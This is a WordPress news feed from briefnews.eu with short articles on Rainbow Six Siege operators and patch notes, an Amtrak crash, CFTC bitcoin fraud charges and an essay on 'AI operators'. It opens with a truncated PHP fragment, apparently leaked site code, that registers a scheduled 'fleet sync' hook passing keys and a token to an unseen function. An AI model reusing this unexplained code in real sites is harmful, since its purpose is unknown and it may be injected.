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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Operators – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 17 Feb 2019 21:05:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Operators – Brief News https://briefnews.eu 32 32 Rainbow Six Siege Year 4 roadmap and Burnt Horizon operators REVEALED https://briefnews.eu/rainbow-six-siege-year-4-roadmap-and-burnt-horizon-operators-revealed/ https://briefnews.eu/rainbow-six-siege-year-4-roadmap-and-burnt-horizon-operators-revealed/#respond Sun, 17 Feb 2019 21:05:27 +0000 http://briefnews.eu/rainbow-six-siege-year-4-roadmap-and-burnt-horizon-operators-revealed/

Ubisoft has announced their plans for the Rainbow Six Siege Year 4 roadmap, including news on new maps and operators.

Operation Burnt Horizon will be the next major R6 update, bringing the action to Australia.

This will be followed by operators from the United States and Denmark, which will be paired with a new map rework for Kafe.

This will be followed by two more map reworks in the final seasons, as well as new characters from Peru, Mexico, Kenya and India.

The new operators included in the Burnt Horizon are Gridlock, an Attacker who can deploy damaging clusters of spikes on the floor, and Mozzie, a Defender who can hack the attacking teams’ drones and use them for his own intel-gathering.

The new map is called Outback and is described as a roadhouse in the middle of the sunburnt country.

The new map is comprised of three main buildings joined together in an L-shape, and each one has colour-coded accents to help you get oriented.

Here’s more from Ubisoft, who confirmed: “There’s a stuffed shark, a rodeo bull, and a host of other landmarks to help with callouts, as well as plenty of breakable walls and floors for our two new Operators to destroy using their Super Shorty shotgun sidearms.

And when it comes to the new operators, it appears Ubisoft is hoping to change things up.

Telling fans: “Gridlock bolsters the attacking team’s area denial capabilities with her Trax Stingers. Throw one on the ground, and it immediately starts deploying clusters of Defender-damaging spikes in a radial pattern. Each Stinger produces quite a lot of spike clusters, allowing you to really jam up a staircase or a hallway, or cover a large area of a room. Attackers can traverse the spikes without hindrance, but Defenders who dare to tread on them will take damage, be slowed down, and make noise.

“Trax Stingers allow Gridlock to obstruct flanking routes, or surround a planted defuser with a defensive perimeter. Toss a Trax Stinger through a hatch or between floorboards to exert some pressure from above, or lob one into an area where you know a Defender is hiding to put them in a prickly position.

“Mozzie, a Defender who figures there’s no reason to bring his own drones to the fight when he can just steal someone else’s. Armed with his trusty Pest Launcher, Mozzie can hack the Attacking team’s drones and make them his own. Yes, this includes Twitch drones. He can capture them in two ways:

“Shooting a Pest directly on to a drone. Mute can be very helpful in getting drones to stay still, but if you miss your shot, you can always pick up your Pest and try again.

“Shooting a Pest onto a surface and creating an ambush. The Pest will pounce on any drone that cruises inside its ambush radius and hack it.

“Each Pest can hack one drone and add it to Mozzie’s fleet. Once a drone is hacked, Mozzie is free to do drone things, like drive, jump, use shock charges, tag enemies, and park it in sneaky spots.

“He can’t pick drones up, and if he drives one outside for more than a few seconds, he’ll lose the hack and the drone will be lost, even to its original owner. Each drone Mozzie keeps in play is a valuable new intel source that joins the Defender camera feed for all to see.”

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]]> https://briefnews.eu/rainbow-six-siege-year-4-roadmap-and-burnt-horizon-operators-revealed/feed/ 0 Uber Lays off 100 Self-Driving Car Operators https://briefnews.eu/uber-lays-off-100-self-driving-car-operators/ https://briefnews.eu/uber-lays-off-100-self-driving-car-operators/#respond Thu, 12 Jul 2018 19:39:50 +0000 http://briefnews.eu/uber-lays-off-100-self-driving-car-operators/

Uber Lays off 100 Self-Driving Car Operators

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]]> https://briefnews.eu/uber-lays-off-100-self-driving-car-operators/feed/ 0 Rainbow Six Siege Para Bellum release time, new operators update, and patch notes https://briefnews.eu/rainbow-six-siege-para-bellum-release-time-new-operators-update-and-patch-notes/ https://briefnews.eu/rainbow-six-siege-para-bellum-release-time-new-operators-update-and-patch-notes/#respond Thu, 07 Jun 2018 07:14:20 +0000 http://briefnews.eu/rainbow-six-siege-para-bellum-release-time-new-operators-update-and-patch-notes/

Ubisoft have released the official patch notes for the next Rainbow Six Siege expansion, which is set to arrive later today.

Landing at slightly different intervals on all platforms, the development team have opted for a gradual rollout, rather then doing things all at once.

PC players will see the first launch, followed by PS4, and then lastly the Xbox One.

Each platform will see a one hour downtime period, with the new expansion launching with an hour gap between each platform.

The R6 release times are as follows:

  • PC: 9:00am EDT / 14:00 BST
  • PS4: 10:00am EDT / 15:00 BST
  • XB1: 11:00am EDT / 16:00 BST

As announced earlier this year by Ubisoft, Rainbow Six Siege Para Bellum adds two new Operators, as well as a new map and other features.

Codenamed Alibi and Maestro, both operators bring unique sets of skills to the tasks of defending, more on their loadouts can be found below:

New operator, Alibi, is an undercover infiltration specialist in the Italian Gruppo di Intervento Speciale (G.I.S.) unit. She is a cunning adversary with a gift for infiltrating dense networks of organised crime. Alibi is notable for her deployable Hologram, a mechanism that makes it difficult for enemies to positively identify her from her incredibly realistic projections.

The Prisma projects holograms are identical to Alibi in an idle position and when they are shot or touched, the player will be marked and pinged for the next few seconds.

If Prisma is deployed outside, a false “Defender Outside” warning is triggered for Attackers.

New Operator, Maestro, is another member of the Italian, Gruppo di Intervento Speciale (G.I.S.) and participated in joint operations in Iraq, earning a facial scar from a roadside IED. Maestro is notable for his remote access turret, which is also bulletproof, capable of seeing through smoke, and able to fire low powered-laser beams.

Firing high-energy laser beams makes it a pretty formidable gadget, and once affixed to the floor or wall, Maestro can remote-surveil and provide overwatch in a location through the swivel-mounted camera.

When the camera device breaks open to fire a laser beam the core is exposed to damage. Otherwise, the turret is unaffected by bullets and melee. Lastly, Evil Eye can see through smoke.

As mentioned above, the new R6 update being launched today also comes with a new standout feature included; Pick & Ban.

The Pick & Ban system feature provides an extra layer of strategy between teams, as each side tries to counter their opponents’ picks during the banning phase.

However, it should also be noted that teams can swap Operators for the unexpected 6th Pick.

Patch notes have also been released by Ubisoft, and include other changes being worked on by the team.

You can find some of the more notable changes below:

GRENADE THROWBACK

We have removed the ability to throw grenades back at enemies. This feature did not perform as we had intended, and was prone to collateral damage as a result. As such, we looked at the data and saw an unnaturally high occurrence of team kills and suicides that resulted from throwing grenades back.

GLAZ OTS-03 RATE OF FIRE

  • The rate of fire for Glaz’s rifle was increased from 220 RPM to 235.
  • He was slightly buffed to account for other changes that are coming in Operation Para Bellum.

CLAYMORE PLACEMENT EASE OF USE

  • Claymores can be placed closer to walls and objects in the environment.
  • Claymores are now less picky about the slope of the ground it is being placed on.
  • Pickup is slightly easier to do from different heights.
  • You can no longer deploy claymores inside of barricades.

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]]> https://briefnews.eu/rainbow-six-siege-para-bellum-release-time-new-operators-update-and-patch-notes/feed/ 0 Rainbow Six Siege operators: New leak hints at post Para Bellum plans https://briefnews.eu/rainbow-six-siege-operators-new-leak-hints-at-post-para-bellum-plans/ https://briefnews.eu/rainbow-six-siege-operators-new-leak-hints-at-post-para-bellum-plans/#respond Tue, 29 May 2018 02:39:30 +0000 http://briefnews.eu/rainbow-six-siege-operators-new-leak-hints-at-post-para-bellum-plans/

It looks like the new Rainbow Six Siege Para Bellum content will be followed by new operators which could add to the offensive mix.

According to dataminers, evidence has been found that suggests that a new breacher is in the works.

With the barest details currently available, it looks like a new character is being worked that will be equipped with a blowtorch.

This would suggest that Ubisoft are planning to release a new hard breacher, following the release of Para Bellum in June.

This lines up with what R6’s marketing director Alex Remy revealed during the recent Season 7 pro league finals in Atlantic City.

Remy confirmed that the team were working on a new operator with breaching skills, although he didn’t confirm if this character would be able to cut through reinforced walls or not.

The latest datamining efforts suggests that they will have this ability, however, it should also be noted that this could change in the future.

As Ubisoft themselves have not confirmed this information officially yet, it should be be treated as just a report at this time.

It would make sense to add a new hard breacher, what with the new pick & ban system coming into effect very soon.

Being able to remove both the current hard breachers out of play means that a third would keep the option available.

The datamine also found evidence of new loot boxes coming to the game in the near future, although it’s unclear what they will contain.

Fans won’t have to wait long until the new Rainbow Six Siege Year 3 Season 2 content goes live.

Currently available for testing on PC, the new Para Bellum expansion includes a new map, the pick & ban system, and two operators.

New operator, Alibi, is an undercover infiltration specialist in the Italian Gruppo di Intervento Speciale (G.I.S.) unit. She is a cunning adversary with a gift for infiltrating dense networks of organised crime. Alibi is notable for her deployable Hologram, a mechanism that makes it difficult for enemies to positively identify her from her incredibly realistic projections.

New Operator, Maestro, is another member of the Italian, Gruppo di Intervento Speciale (G.I.S.) and participated in joint operations in Iraq, earning a facial scar from a roadside IED. Maestro is notable for his remote access turret, which is also bulletproof, capable of seeing through smoke, and able to fire low powered-laser beams.

The Pick & Ban system feature provides an extra layer of strategy between teams, as each side tries to counter their opponents’ picks during the banning phase. Players can even anticipate a thrilling twist at the last moment, when teams swap Operators for the unexpected 6th Pick.

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]]> https://briefnews.eu/rainbow-six-siege-operators-new-leak-hints-at-post-para-bellum-plans/feed/ 0 Outbreak Packs: How to get Rainbow Six Siege Operators loot https://briefnews.eu/outbreak-packs-how-to-get-rainbow-six-siege-operators-loot/ https://briefnews.eu/outbreak-packs-how-to-get-rainbow-six-siege-operators-loot/#respond Thu, 08 Mar 2018 01:48:52 +0000 http://briefnews.eu/outbreak-packs-how-to-get-rainbow-six-siege-operators-loot/

First of all, there are a lot of new skins for weapons and Operators in Ubisoft’s latest mode.

Some of them can be found in the gallery below, with players doing their best to collect all the new items.

Rainbow Six Siege Outbreak Packs are only around for a short time and are guaranteed not to contain duplicates.

They will be disappearing along with the new mode in early April, meaning fans only have so long to get the cosmetics they want.

NOTE: Ubisoft have confirmed that there are ongoing issues with Outbreak Packs not appearing in-game, with Ubisoft looking to solve the issue this week.

As confirmed by Ubisoft, these items are entirely cosmetic in nature and do not give any kind of gameplay advantage.

As you can imagine, it’s almost entirely themed around the new Outbreak mode, so expect a lot of masks and plague-ridden items.

The Outbreak Collection is composed of a total of 50 unique items, including universal weapon skins, unique weapon skins, headgear, uniforms, charms, as well as an Outbreak Collection exclusive of this season’s Elite Uniform.

All items in the pack will be either Rare, Epic, Legendary, with no overlap in content between the Outbreak Packs and the Alpha Packs.

HOW TO GET RAINBOW SIX SIEGE OUTBREAK PACKS

The Outbreak Packs can be acquired for 300 R6 Credits each, while Ubisoft are offering some of the new items in others ways.

For instance, all players that log in during the Outbreak Event will receive four Outbreak Packs immediately.

“For those of you who are new to the game and purchase the Advanced Edition before or during the Outbreak Event, you will receive the 10 packs that are included in the Advanced Edition, plus the four for logging in during the event,” a message from Ubisoft explains.

“If you purchase the Advanced Edition after the event is over, you will still receive the 10 Outbreak Packs,”

OUTBREAK PACK COSTS

  • 1 Outbreak Pack – 300 R6 Credits
  • 4 Outbreak Packs – 1200 R6 Credits
  • 8 Outbreak Packs – 2400 R6 Credits
  • 24 Outbreak Packs – 7200 R6 Credits
  • 46 Outbreak Packs – 13800 R6 Credits

R6 Credits are the optional currency that can be purchased in game and can be used to buy Renown Boosters, as well as cosmetics.

Players can also complete Outbreak challenges to unlock select items.

Current challenges:

Win 1 Pandemic game with the ‘Hell and Back’ challenge to get the Breacher Chibi charm.

Kill 200 Breachers to get XP/Renown with the ‘Cant Breach Me’ challenge.

Win 5 Normal games to get the She Grunt Chibi for the ‘Dead Set’ challenge.

More challenges will likely be launched over the next few weeks, before the end of the Outbreak event.

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]]> https://briefnews.eu/outbreak-packs-how-to-get-rainbow-six-siege-operators-loot/feed/ 0 Rainbow Six Siege Chimera release TIME and patch notes for new operators UPDATE https://briefnews.eu/rainbow-six-siege-chimera-release-time-and-patch-notes-for-new-operators-update/ https://briefnews.eu/rainbow-six-siege-chimera-release-time-and-patch-notes-for-new-operators-update/#respond Tue, 06 Mar 2018 04:03:24 +0000 http://briefnews.eu/rainbow-six-siege-chimera-release-time-and-patch-notes-for-new-operators-update/

Ubisoft have now confirmed the official release time and patch notes for their first Year 3 content drop.

Rainbow Six Siege Operation Chimera arrives tomorrow, March 6, and includes a lot of new things.

The co-op Outbreak mode is one of the main highlights, as well as two new operators especially built for the event.

Ubisoft have now revealed that the Rainbow Six Siege Chimera release times have been set on each platform.

Scheduled Maintenance is being planned for Tuesday, March 6th on PC, PS4 and Xbox One that last around 1 hour.

This can also be considered when Operation Chimera, along with the new operators and Outbreak will launch.

  • PC: 9:00-10:00am EST (2pm GMT)
  • PS4: 10:00-11:00am EST (3pm GMT)
  • XB1: 11:00-12:00pm EST (4pm GMT)

As mentioned above, Ubisoft have also released the official patch notes for the upcoming Rainbow Six Siege update.

RAINBOW SIX SIEGE OUTBREAK:

After a space capsule crashed in New Mexico, an Outbreak and a surge of violence forced the authorities to establish a Quarantine Zone around Truth or Consequences.

The whole town was infected with an alien parasite, which triggered aggressive mutations in the residents. This parasite is highly adaptable, able to mutate into dangerous five lethal types of Infected.

The Quarantine Zone is the only thing keeping this Outbreak contained, but it will not last. If the parasite gets out, the resulting death toll would reach unprecedented numbers.

Outbreak’s three player coop mode will force you to revisit your strategies and push you to rely on teammates like never before. The infected hostiles outnumber you on every front, and your only way out alive is through innovative tactics that will give you an edge.

Your team will be composed of three of the following Operators: Ash, Tachanka, Doc, Smoke, Buck, Kapkan, Glaz, Ying, Finka, Lion and Recruit.

The loadout of Outbreak Operators will also be tweaked to incorporate gadgets that favor melee combat

This limited-time event will be held from March 6th to April 3rd 2018.

NEW OPERATORS:

FINKA

Born 3 years after the Chernobyl disaster in Gomel, Belarus, Lera Melnikova was diagnosed with a neuropathy: slow muscle degeneration and loss of sensation in the limbs and extremities. She pushed herself to stay fit to overcome her symptoms. She moved to Novosibirsk and graduated with a Ph.D. in Microbiology and Immunology, uncovering treatments using self-dissolving nanites. It wasn’t a cure but she found remission. Her research saved Spetsnaz operators from hazardous materials and that opened her eyes to new possibilities. She joined the Army, then became the Spetsnaz CBRN Specialist. As for her Finka moniker, got to ask Kapkan or Lera herself.

UNIQUE ABILITY

Finka’s Adrenal Surge activates pre-injected nanobots made of zinc in operators, releasing a pharmacological cocktail into their system where the zinc is absorbed as a nutrient. These nanites give her team a short boost in HP, they help allies out of DBNO, and they steady the team’s aim. She’s the only one capable of tailoring the nanites to specific operators.

LOADOUT

  • Primary Weapon: Spear .308, SASG-12 and 6P41
  • Secondary Weapon: PMM Pistol and GSH-18
  • Gadget: Breach Charge and Stun Grenades
  • Speed: Medium
  • Armour: Medium

LION

Olivier Flament grew up in Toulouse, France, where he bucked against his family’s accomplishments and their faith in God. His parents kicked him out and he found himself homeless at 18. He joined the French Army out of desperation, then the 2nd Dragoon Regiment in their role as a CBRN reaction force.

GIGN took him in as their biohazard expert. On one mission in Sudan, Yellow Fever broke out. While protecting a field investigation team, his loud voice scared a frightened mob back. He gained the nickname “Lion” from the locals. Finka studied his jacket and recommended Olivier as a CBRN specialist for Rainbow. What’s not on file is the weight of his regrets.

UNIQUE ABILITY

Twitch provided him with an aerial drone while he served with GIGN. The EE-ONE-D helps Lion maintain quarantine by detecting movement in an area, giving an overview of hot zones or of the battlefield. His drone can stay airborne indefinitely, but he must choose the right moment to perform his scans.

LOADOUT

  • Primary Weapon: V308, 417 Marksman Rifle and SG-CQB
  • Secondary Weapon: P9 Pistol and LFP586
  • Gadget: Claymore and Stun Grenade
  • Speed: Medium
  • Armour: Medium

ROTATION DESYNC FOR DBNO PLAYERS

In some instances, the server was rejecting shots to players in a DBNO (Down But Not Out) state. The reason for this was a desynchronization with the game server. After downing an enemy, you could see him rotating in one direction from your point of view, while on the server, their movement was completely different, and that is why some of your shots to DBNO targets would not register.

Rotation Desync for DBNO Players

The image above shows the difference between what the player sees and what is happening on the server (in red). We have addressed this desync and your shots should now land properly and accurately on downed enemies.

PLAYER COMFORT

RELOADING CHANGES

Changes to ammo update timings

When you reload your weapon there is always a point in the animation where your ammo count updates. We have overhauled the “key” moment where it happens during the animation. All weapons ammo updates are now slightly faster. They have been rationalized according to their animation. This should make reloading a lot more comfortable.

Interrupting tactical reload with going to ADS

You can now interrupt a tactical reload (reloading with a round in still in the chamber) with aiming down the sights. Before you could only do it with sprint, but now if you are reloading and someone surprises you and you want to shoot, all you have to do is go to ADS and fire instantly with your remaining ammunition.

Reload resume points

Missing reload resume points have been added to all weapons reloads. When you interrupt a full reload, if you have done certain steps (ie. Discarding the empty magazine) you won’t do that step again when resuming the reload animation.

Raw Input on PC

We will be implementing a new input method on PC. This raw input option reads mouse/keyboard values directly from the hardware, without any post-processing. This may slightly improve the responsiveness of the mouse/keyboard during heavy load. This option can be found under Controls > Raw Input.

GAME BALANCING

DEPLOYABLE SHIELD WALKING

You can no longer walk on deployable shields. At any instant that an operator is considered walking on the shield, it will collapse on itself (be destroyed) and the shield is refunded in the inventory of the defender that placed it. That will prevent players from utilizing exploits by walking on a shield.

MELEE HIT VALIDATION

Throughout last season, we collected your feedback regarding hit validation in general and melee hit validation in particular. Many of you have experienced how it feels to flank an enemy, approach from behind, land a clear knife hit, hear the audio, but not get the kill. We understand how frustrating it can be, that’s why in Patch 3.1 we have applied some tweaks and improvements that should make melee attacks much more reliable

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]]> https://briefnews.eu/rainbow-six-siege-chimera-release-time-and-patch-notes-for-new-operators-update/feed/ 0 Release Date: When is Rainbow Six Siege Outbreak out with new operators? https://briefnews.eu/release-date-when-is-rainbow-six-siege-outbreak-out-with-new-operators/ https://briefnews.eu/release-date-when-is-rainbow-six-siege-outbreak-out-with-new-operators/#respond Mon, 19 Feb 2018 06:57:29 +0000 http://briefnews.eu/release-date-when-is-rainbow-six-siege-outbreak-out-with-new-operators/

While in the past fans have gotten used to new maps and operators being released as part of a new year of content, Ubisoft have decided to try out something new.

This would be the new Rainbow Six Siege Outbreak mode, which was recently given a full gameplay reveal by the development team.

RELEASE DATE: WHEN DOES RAINBOW SIX SIEGE OUTBREAK MODE ARRIVE?

Unlike in the past, this new PvE mode is set to be a limited time event which will launch as part of Year 3’s Operation Chimera.

Outbreak takes players to the sleepy desert town of Truth or Consequences, New Mexico to investigate and exterminate a dangerous extraterrestrial parasite. 

The infestation has turned the local populace into an array of deadly enemies, and players must work to confront this new threat in teams of up to three Operators chosen from a select subset of the existing roster. 

If it sounds pretty far removed from sieges, that’s because it is, essentially, a zombies mode for R6.

“From swarming Grunts to burrowing Rooters, the Outbreak enemies will test your tried-and-true skills in a whole new way,” Ubisoft teases.

Outbreak comes with three missions included – Junkyard, Hospital, and Resort.

New Operators Lion and Finka can be used, as well as the exitsting Smoke, Ash, Doc, Glaz, Kapkan, Tachanka, Buck, Ying, and Recruit.

And Ubisoft has also now confirmed that Outbreak will be available for free to owners of Rainbow Six Siege from March 6 to April 3 on PC, PS4, and Xbox One.

NEW RAINBOW SIX SIEGE OPERATORS

While Outbreak is grabbing the headlines right now, fans of the normal Siege mode can look forward to two new operators.

Two new attacking Operators are inbound for this season, boasting new abilities “that can make an impact no matter where they are on the map.”

“Lion and Finka are both 2-speed, 2-armor Operators with three primary weapon options to give you some flexibility, and both will be effective in competitive multiplayer.

They will also be available to use in the cooperative Terrohunt and Outbreak modes.

RAINBOW SIX SIEGE OPERATOR LOADOUTS

LION – Lion’s unique gadget is an indestructible drone that hovers over the map for the entire match. Up to three times per round, Lion can trigger a scan of the entire map that will reveal any defender that moves for the entire attacking team to see. Staying in one place or being near a Mute Jammer can help defenders hide, but if they are tagged, every attacker will see a bright red outline of their whole body and things will get likely get very dangerous, very quickly.

FINKA – Finka focuses on supporting her team, and her unique gadget allows her to trigger an Adrenal Surge in every attacker. Adrenal Surge reduces recoil, gives bonus HP, and can revive any attacker that is down, but not out. It also help players move more quickly through barbed wire, as well as resist concussion and flashbang effects, so it’s great for supporting a team push. There are a few side effects, though. The elevated state of a boosted attacker means that their heart beats faster (detectable by Pulse from longer range), and they breathe more rapidly (Smoke’s gas grenades will do more damage more quickly). Furthermore, Gu mines and Yokai drones can cancel the Surge, so attackers will still need to be careful to take maximum advantage of this boost.

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]]> https://briefnews.eu/release-date-when-is-rainbow-six-siege-outbreak-out-with-new-operators/feed/ 0 Amtrak blames CSX train operators for deadly crash that killed 2, injured more than 100 https://briefnews.eu/amtrak-blames-csx-train-operators-for-deadly-crash-that-killed-2-injured-more-than-100/ https://briefnews.eu/amtrak-blames-csx-train-operators-for-deadly-crash-that-killed-2-injured-more-than-100/#respond Mon, 05 Feb 2018 11:45:21 +0000 http://briefnews.eu/amtrak-blames-csx-train-operators-for-deadly-crash-that-killed-2-injured-more-than-100/ amtrak south carolinaREUTERS/Randall Hill

  • Amtrak blamed a freight rail operator for a crash on Sunday that killed 2 and injured more than 100 others.
  • It’s Amtrak’s third fatal crash in as many months.
  • Amtrak says CSX Corp’s people padlocked the switch that diverted the Amtrak train onto the side track, where it hit the CSX train.
  • CSX did not comment.

CAYCE, S.C. (Reuters) – Amtrak blamed a freight rail operator for causing a crash on Sunday that killed two people and injured more than 100 others when one of its passenger trains was diverted onto a side track and slammed into a parked, unmanned freight train in South Carolina.

In the U.S. passenger rail operator’s third fatal crash in as many months, Amtrak Train 91, carrying nine crew members and 136 passengers, was traveling from New York to Miami when it hit the CSX Corp freight train that was stopped on a side track, or siding, at about 2:35 a.m. (0735 GMT).

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Today the US Commodity Futures Trading Commission announced that it has filed a federal civil enforcement action against three virtual currency operators. The details of one case remain sealed, but the other two companies facing charges are CabbageTech and Entrepreneurs Headquarters Ltd. The charges include fraud, misrepresentation, misappropriation and more, and are the first enforcement actions since the CFTC allowed trading bitcoin futures.

Bitcoin has been on a rollercoaster recently. Its value has been in a freefall; two days ago, it tumbled below $ 10,000, losing half of its peak value in less than one month. According to Coinbase, it’s risen a bit as of this writing. Bitcoin’s value is currently in the mid-$ 11,000s.

There are also fears that bitcoin and other cryptocurrency could threaten the security of the global economy; as a result, the US isn’t the only country taking action. China is moving toward an “orderly exit” from bitcoin mining because of its use of resources, as well as its affect on investors. Back in December, South Korea (which is the third largest market for cryptocurrency, after the US and Japan) banned all anonymous cryptocurrency accounts and enacted new regulations for monitoring exchanges.

In a joint statement, the CTFC Enforcement Director and the Securities and Exchange Commision Enforcement Co-Directors made clear that the US government will be keeping a close eye on cryptocurrency action. “When market participants engage in fraud under the guise of offering digital instruments – whether characterized as virtual currencies, coins, tokens, or the like – the SEC and the CFTC will look beyond form, examine the substance of the activity and prosecute violations of the federal securities and commodities laws,” they said in a joint statement.

Via: Reuters

Source: CFTC (1), CFTC (2)

]]> https://briefnews.eu/us-regulators-charge-three-bitcoin-operators-with-fraud/feed/ 0 AI operators will play a critical role as bots redefine the workplace https://briefnews.eu/ai-operators-will-play-a-critical-role-as-bots-redefine-the-workplace/ https://briefnews.eu/ai-operators-will-play-a-critical-role-as-bots-redefine-the-workplace/#respond Fri, 29 Dec 2017 22:33:06 +0000 http://briefnews.eu/ai-operators-will-play-a-critical-role-as-bots-redefine-the-workplace/

GUEST:

Treating AI like it’s a person has its benefits. When IBM named its AI “Watson,” the company hoped people would see it as warm and approachable, a “humble genius” even. According to Ann Rubin, vice president of branded content and global creative at IBM, in a conversation with Adweek, it worked.

It’s no surprise then that emerging AI platforms like Salesforce’s Einstein, Amazon’s Alexa, and my company’s Albert followed suit. Some companies are now taking the humanization process even further, positioning their technology as your newest colleague or employee.

This makes enough sense from a task perspective: AI will do work like a colleague. But from a psychological one, the moment AI makes the leap from tech platform to teammate — and takes on a more traditionally human role — humans begin expecting it to be a bit more like them. Or, at least, to exhibit more humanlike traits, like accountability, transparency, and communication skills.

AI’s not good at any of these things. It’s bad at sharing the details of its day, what it’s up to, or why it does what it does. And it’s an awful listener. Some might describe their human colleagues in similar terms, but unlike humans, AI’s inability to communicate is never out of rebellion, introversion, fear of sounding stupid, an inherently brooding demeanor, or any other distinctly human traits.

Today’s autonomous technologies simply aren’t programmed to explain themselves — they’re programmed to perform. Take a self-driving car that has veered into the right lane when its human passenger would have preferred it stay in the lane it was in. There’s currently no way for the vehicle to communicate why it made its decision. This might leave its human passenger frustrated, wondering “Why?”

Humans are programmed to want to know why. They want to understand the reasoning and logic that goes into a decision. And AI has this information in spades. But as AI developers can testify, an AI processes thousands to millions of variables in the same time that a human can process hundreds. Explaining the “why” would not only be difficult, it would be lost on the listener.

The human need to understand why perhaps reveals an underlying assumption: that technology has motives and operates according to its own free will. Neither is true, of course. AI doesn’t have an opinion or agenda; it will do whatever the user wants it to. It just needs guidance and boundaries that ensure it achieves its goals in a way that reflect the user’s own values and priorities.

It’s this precise insight that has inspired the rise of a new breed of AI operators — everyday AI experts who will act as conduits between AI and its human colleagues. One part AI whisperer, another part operations professional, the AI operator’s sole purpose is to strengthen AI in places where human intervention is required: communicating what it’s doing and learning, understanding business goals, and offering its thoughts in the form of insights (rather than raw variables considered in the decision-making process).

These AI experts will emerge from different walks of life. While data analysts who understand patterns and correlations might feel more immediately comfortable interacting with an AI system, those in more operational roles will be better equipped to act as an interface between teams, pushing projects forward and putting the AI’s insights to work to help people do their jobs.

No matter who fills this role, the goal will be the same: Set parameters and guidelines. Speak “robot.” And translate what it has to say back into “human.”

Robots are rough around the edges. Left to its own devices, an AI will get from point A to point B in the quickest way possible, but it won’t always look pretty. An AI operator’s job is to make sure that the risks it takes aren’t at odds with what a company is comfortable with — even if helps them meet their goals.

Take an AI platform that’s tasked with executing a retailer’s Black Friday promotion across social media and online channels, from start to finish. Prior to letting it loose on these channels, the AI operator would step in to guide the AI and, in a sense, share with it the strategy and objectives: “Here’s the promotion, here are the creative assets, here are the types of audiences we’re targeting and the channels we’re interested in using. Our goal is to generate 2.5 times more revenue than in other months, and we’re willing to invest more aggressively than usual to do it.”

The AI operator would also make upfront decisions about what “being more aggressive” means. Is it OK to spend 30 percent upfront on audience discovery? Can it spend 20 times more than usual on keywords? Should it focus primarily on new audiences or should it also focus on existing customers?

The AI can go either way on each of these decisions. The AI operator knows how to tell it to go in the direction the organization wants it to.

Unlike humans, who often collaborate with one another to figure out how to move projects forward, AI only wants to be told the what in very generic terms. It requires less thinking and more manual input. Take the Black Friday example, where the directives were: “2.5 times more revenue, increased investment, these audiences, those channels, go.” Once the AI operator tells it this, it will determine the how on its own.

AI’s disinterest in talking through its approach doesn’t mean collaboration is off the table. It just looks a little different. AI’s way of collaborating involves offering analysis and insights that the AI operator can then use to make decisions about strategy and feed an updated plan back to it.

This basic give-and-take relationship is one of the many ways AI is redefining what it means to be a colleague in the age of robots. While humans might have invented workplace dynamics, robots are stepping in to redefine them. Somewhere between them and us is the AI operator, whose ability to speak robot will help man and machine move beyond these initial growing pains.

Tomer Naveh is chief technology officer at Albert, an artificial intelligence marketing platform for the enterprise.

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